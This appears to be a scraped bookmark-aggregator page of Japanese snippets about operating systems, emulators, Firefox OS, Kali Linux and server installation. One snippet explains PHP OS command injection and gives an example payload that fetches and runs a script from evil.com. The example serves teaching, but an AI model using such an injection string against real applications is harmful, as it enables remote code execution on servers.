2. そもそもOSとは • 身近な例 Windows, OS X, Linux, iOS, Android • ハードウェアとアプリの橋渡しをするソフト • メモリ管理、ハードウェア制御、タスク管理、…
このエントリはPHP Advent Calendar 2013 in Adventar の21日目です。 OSコマンドインジェクションとは OSコマンドインジェクションという脆弱性があります。PHPから外部コマンドを呼んでいる場合に、意図したコマンドとは別のコマンドを外部から指定され、実行されてしまうものです。 下記のように、myprog をパラメータ指定で起動している場合で説明します。$paramはファイル名やメールアドレスなどを想定しています。 $param = $_GET['param']; system("myprog $param"); $paramとして ; wget http://evil.com/bad.php ; php bad.php を指定されると、system関数で実行するコマンドは下記となります。 myprog ; wget http://evil.com/ba
The most advanced Penetration Testing Distribution. Ever. The most advanced Penetration Testing DistributionKali Linux is an open-source, Debian-based Linux distribution geared towards various information security tasks, such as Penetration Testing, Security Research, Computer Forensics and Reverse Engineering. Kali Linux is not about its tools, nor the operating system. Kali Linux is a platform.M
Appleは10月23日に行われた発表会で、黒い筒型が目を引く新型Mac Proや、最新OSとなるMac OS X Mavericksを発表しました。そんなOS Xの原型となったSystem 7をブラウザ上でエミュレートして再現できるMacintosh Plusのシミュレータが「PCE.js」です。 PCE.js - Classic Mac OS in the Browser http://jamesfriend.com.au/pce-js/ アクセスすると「ピポッ」という電子音とともに起動。基本的なインターフェースは最新のOS Xにも受け継がれていることが見てとれます。 左上のアップルマークをクリックすると、デスクアクセサリが開きアプリを選択することができます。 「Calculator」を起動。なお、アプリウィンドウの左上の「□」ボタンをクリックすればどのアプリでも閉じることが可能。 か
ブラウザ上でLinuxが動く! なんとGUIも! Javascriptで実装されたOR1Kエミュ『jor1k』 いやはや、世の中にはクールで変態なハッカー(褒め言葉)がいるものです。 この『jor1k』というプログラムは、完全にJavascriptで実装されたOR1K(OpenRISC 1000)エミュレーターで、ブラウザ上でLinuxを実行することができてしまいます。 ブラウザ上でLinuxを起動してターミナルでコマンドラインの入出力をするだけであれば、これまでにも「Javascript PC Emulator」というJavascriptで実装されたPCエミュレーターがありました。しかし、『jor1k』のスゴイ所はX Window Systemが起動しGUIもちゃんと操作できることです。たとえば、冒頭の画像は、“お決まり”のxeyesを起動してみたところです。ちらつきはあるものの、目玉が
最近の動向でわからないことがある。最近、クラウド(笑)とか称するマーケティング用語はともかく、クラウド(笑)のサーバー群の実装に、ハードウェアの仮想化技術がふんだんに使われていることだ。 完全にソフトウェアでハードウェアを実装するエミュレーターと違い、この手の仮想化技術は、ハードウェアに仮想化をサポートするための機能があり、それを使って、大きなオーバーヘッドが生じない仮想化を実現させている。 そのハードウェア仮想化の上で、ユーザーごとにゲストOSを実行している。つまり、これはOS外の仮想化である。 OSとは何だったのか。 我々は何十年も、OS内で仮想化を実装してきた。ひとつのコンピューターを複数人が使うという状況で、ユーザーとかアカウントという単位で仮想化を実現してきた。また、ファイルアクセスに権限を設け、ユーザーごとに柔軟に設定できるようにもした。プログラムはプロセスという単位で、他のプ
こんにちは。運用部 アプリ運用グループの清水です。趣味の楽器も気づけば20年目を迎えましたが、いっこうに上達している気がしません。 何回かに渡ってOS移行のお話を書いてきましたが、今回は、OSのインストールで使っているCobblerというツールの利用例を中心に紹介したいと思います。 OSインストールを楽にしたい ミクシィでは非常に多くのサーバーを運用しています。それらのサーバーにおいて、OSインストール作業は日常的に行われています。OSのインストールが必要になるケースは、例えば以下のような場合です。 サーバーを購入した サーバーが壊れ、修理した OSをバージョンアップする(移行する) サーバーの役割を変える(クリーンインストールする) VM(Virtual Machine)を作る 当然ながら、OSインストール作業をするために、わざわざデータセンターに行ってCDやDVDといったメディアを使い
B2G OS のドキュメントをさらに読み進める前に理解しておくべき用語がいくつかあります。 B2G Boot to Gecko の略語です。 Boot to Gecko B2G OS オペレーティングシステムのエンジニアリングコードネームです。プロジェクトに正式な名称がつくまでの長い間この言葉が使われたため、これが B2G OS を指す言葉として使われるのをよく見るでしょう。 B2G OS B2G OS は基本的に、最終リリース製品を製造するため Boot to Gecko に加えられた、Mozilla (および OEM パートナー) のブランディングとサポートサービスです。 Gaia B2G OS プラットフォームのユーザインタフェースです。B2G OS が起動してからスクリーンに描画されるものはすべて、Gaia 層で書かれています。Gaia はロックスクリーン、ホームスクリーン、そして
27. ちょーーカンタンなHello World プロジェクト • 本当に最低限のアプリ構成 • HTML、JS、CSS 各一つ... • もしご入用の方いらっしゃれば以下からどぞ... https://github.com/kassy-kz/FirefoxOS_Template 2013年6月19日水曜日 28. ちょーーカンタンなHello World プロジェクト • manifest.webapp • FirefoxOSのアプリに必要なマニフェストファイル { "version": "0.1", "name": "Template", "description": "My Template", "launch_path": "/index.html", "icons": { "16": "/img/icons/icon_16.png", "48": "/img/icons/icon
サーバ/クライアントPC問わず、今使っているマシンのハードウェア構成がどのようなものかをOS上で確認したくなることもあるでしょう。 そんな時にお手軽に調べられる方法を、たまーにググったりするので、Linux/Mac OS X/Windowsの3つのOSの場合の調べ方をここに残しておきます。 Linux Linuxでは、dmidecodeコマンドを使います。 BIOSの情報とか、マシンの各種システム情報(シリアルナンバー等の各種メタ情報、CPU、メモリ、その他デバイス情報とか)が取得できます。 CentOS/RHELとかだと"kernel-utils"パッケージがインストールされていれば使えます。 ちょっと長いですが、以下のような感じです。 # dmidecode # dmidecode 2.11 SMBIOS 2.7 present. 87 structures occupying 399
FreeDOS is a free DOS-compatible operating system for IBM-PC compatible systems. FreeDOSのプロジェクトページで、FreeDOSをベースにして構築されたディストリビューション「XFDOS 2.0」が紹介された。これはFreeDOSプロジェクトが認める公式のFreeDOSディストリビューションではないが、Windows to FreeDOSと似たような取り組みとして興味深い。XFDOS 2.0では次のソフトウェアを配布物に含めている。 ファイルマネージャ Open file Webブラウザ Dillo ワープロ FlWriter スプレッドシート Spreadsheet 個人情報管理 FlTDJ エディタ Editor PDFリーダ MuPDF メディアプレーヤ Mpxplay 電卓 FlCalc 画像ビュ
無料で使えるオープンソースのブラウザ「Firefox」やメーラー「Thunderbird」などの開発、支援を行う非営利団体Mozilla Foundationがスマートフォン向けのOSとして開発を進めているのが「Firefox OS」です。今回はスペインのバルセロナで行われた記者会見に参加してきたので、その詳細をレポートします。 Firefox at Mobile World Congress 2013 - mozilla.org http://www.mozilla.org/en-US/firefox/partners/ 会場はスペインのバルセロナにあるHotel Arts Barcelona(写真右のビル)。 通路を進むとFirefoxの文字が見えます。 報道陣で混み合う受付前の様子。 会場の内部はこんな感じ。 TVカメラも用意されています。 「自分の道を切り開け」というキャッチコピー
勢いでインストールして以来数々のユーザビリティ面で悩まされているWindows 8ですが、今回はかなりの驚きだったのでさくっとエントリー。 数年前のPCでもWindows 8を入れると高速化されるという話をイベントで聞き、それならばともともとWindows VistaだったPCにもWindows 8を入れてみたのですが。 パフォーマンスの改善もWindows 8の特徴とのこと。Windows 7あたりから「新OSはハイスペックPCで!」という流れもだいぶ薄まり、Vistaが動くPCなら7はより快適に動いていたけれど、8もそれに近いようで、2009年夏モデルのPCでも十分にパフォーマンスを上げられるとのこと。 数年前のPCまで早くなる!? タッチパネルだけじゃなかったWindows 8の魅力 https://bloggingfrom.tv/wp/2012/12/04/8111 最初のインスト
ここ数日、Firefox OSがにわかに盛り上がってまいりました。 2013年1月21日に開催した「第35回 HTML5とか勉強会(テーマ:『Web+OS最前線!』)」では、浅井智也さんのプレゼンテーションが大好評だっただけではなく、サプライズゲストとして登場した田中社長がFirefox OS搭載端末について言及しました。 そして本日、ついに開発者向けの実機もリリースされるというニュースが世界中を駆け巡りました。 そんなFirefox OS、昨年の味見部で触ってからずっと気にはなっていたのですが、いよいよ勢いも出てきたということで、ちょっと調べて見ることにしました。 とは言えぼくは、インストール可能な実機を持っているわけではないので、Firefox OSシミュレータを用いて、全部デスクトップで試してみます。 Firefox OSアプリの基礎知識 Firefox OSアプリ開発に必要なスキル
mixiのサーバOS移行のお話 – mixi Engineers’ Blog とその続編に触発されて、私の寄生先であるドリコムではどのように考え、何を選択してきたのか振り返ってみたいと思います。 こういう情報の公開は、確かにしないに越したことがない類のものかもしれませんが、年末ですし、当たり障りのない範囲で思い出エントリで締めくくろうかなと思い立った次第であります。 OSの選択を振り返る 2001年あたりから覚えている範囲でザッと振り返ると、 RedHat 7-9 FedoraCore 1-3 Debian 3-6 CentOS 4-6 という感じで、現在はDebian(5/6)とCentOS(5/6)を主流で利用しています。あとはたまにBtoB案件とかでWindowsServerやRHELもちょこちょこありましたが、今はないですね。 こういう選択をしていった理由は、 まずRedHat~F
30日でできる! OS自作入門 出版社 : 毎日コミュニケーションズ 発行日 : 2006/3/1 良い本です。アカデミックの匂いが良い意味で全くしない。その上での実践的な本は日本語で他に無いと思います。ガチムチアカデミックの批判にあえて真っ向勝負してるような意欲作です。 正しい知識だの用語だのそんなもんはどうでもいいから手を動かしてやってまえみたいな感じで。こういうのは頭いい人たちから批判されやすいですね。俗物な私にはぴったりでしたが。 本書はWindows用のサンプルしかないんですがMac用に整えたので、それ公開するついでに思ったことつらつらと書いときます。 開発環境 Mac サンプルがWindows用なのでいろいろMac仕様にしなきゃいけない(後述) テキストエディタ EmacsだのVimだのなんでもいいので適当に用意 バイナリエディタ Macだと0xEDが良い http://www
リリース、障害情報などのサービスのお知らせ
最新の人気エントリーの配信
処理を実行中です
j次のブックマーク
k前のブックマーク
lあとで読む
eコメント一覧を開く
oページを開く